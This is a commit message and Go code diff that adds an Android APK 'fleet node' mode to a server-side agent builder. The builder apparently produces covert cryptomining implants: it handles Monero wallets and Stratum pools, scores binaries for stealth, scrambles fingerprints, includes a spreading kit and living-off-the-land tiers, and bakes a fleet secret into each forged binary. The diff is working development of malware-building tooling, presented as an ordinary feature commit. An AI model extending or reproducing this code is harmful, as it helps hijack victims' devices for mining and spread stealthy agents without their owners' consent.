Add Android APK fleet nodes with Crucible UI integration and tests.

APK wrapper registers platform=android via AETHERFORGE_PLATFORM; fleet UI shows robot icons, Android Access Depth probes, and a shortened mining onion timeline.

server/internal/builder/handler.go

@@ -122,6 +122,11 @@ type BuildRequest struct {
 	LotlOnionEnabled     bool     `json:"lotl_onion_enabled"`
 	LotlPolicyFromServer bool     `json:"lotl_policy_from_server"`
 	LotlOnionTiers       []string `json:"lotl_onion_tiers,omitempty"`
+
+	// APK mode — Android fleet node (mining off by default).
+	ApkMode          bool   `json:"apk_mode"`
+	ApkAgentName     string `json:"apk_agent_name"`
+	MiningDisabled   bool   `json:"mining_disabled"`
 }
 
 // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -157,6 +162,7 @@ type BuildResponse struct {
 	SigilScramble        bool   `json:"sigil_scramble,omitempty"`
 	BinaryFingerprint  string `json:"binary_fingerprint,omitempty"`
 	StealthScore         int    `json:"stealth_score,omitempty"`
+	ArtifactPath         string `json:"artifact_path,omitempty"`
 	Error                string `json:"error,omitempty"`
 }
 
@@ -204,6 +210,9 @@ type Handler struct {
 	// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
 	activeProgressMu sync.RWMutex
 	activeProgress   map[string]BuildProgress
+
+	// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
+	apkBuildFn ApkBuildFunc
 }
 
 // SetFleetSecret stores the fleet secret so it is baked into every forged binary.
@@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
 }
 
 func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
+	if req.ApkMode {
+		return h.buildAPKAgent(ctx, req)
+	}
 	if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
 		return h.buildUniversalAgent(ctx, req, prepPath)
 	}
@@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.ServerURL == "" {
 		return fmt.Errorf("server_url is required")
 	}
-	if req.Wallet == "" {
+	if req.ApkMode {
+		ApplyApkBuildPreset(req)
+	}
+	if !req.ApkMode && req.Wallet == "" {
 		return fmt.Errorf("wallet is required")
 	}
-	if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
+	if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
 		return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
 	}
 	req.OutputDir = strings.TrimSpace(req.OutputDir)
@@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 	if req.PoolPass == "" {
 		req.PoolPass = "x"
 	}
+	if req.ApkMode {
+		req.FusionEnabled = false
+		req.SpreadKit = false
+	}
 	if req.FusionEnabled {
 		if req.FusionRunOrder == "" {
 			req.FusionRunOrder = "parallel"
@@ -1071,7 +1090,11 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
 		}
 	}
 	if strings.TrimSpace(req.TargetOS) == "" {
-		req.TargetOS = "windows"
+		if req.ApkMode {
+			req.TargetOS = "android"
+		} else {
+			req.TargetOS = "windows"
+		}
 	}
 	if req.SpreadKit {
 		req.FusionEnabled = false
@@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig {
 		LotlOnionEnabled:     %v,
 		LotlPolicyFromServer: %v,
 		LotlOnionTiers:       %s,
+
+		ApkMode:        %v,
+		MiningDisabled: %v,
 	}
 }
 `, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig {
 		req.LotlOnionEnabled,
 		req.LotlPolicyFromServer,
 		formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
+		req.ApkMode,
+		req.MiningDisabled,
 	)
 }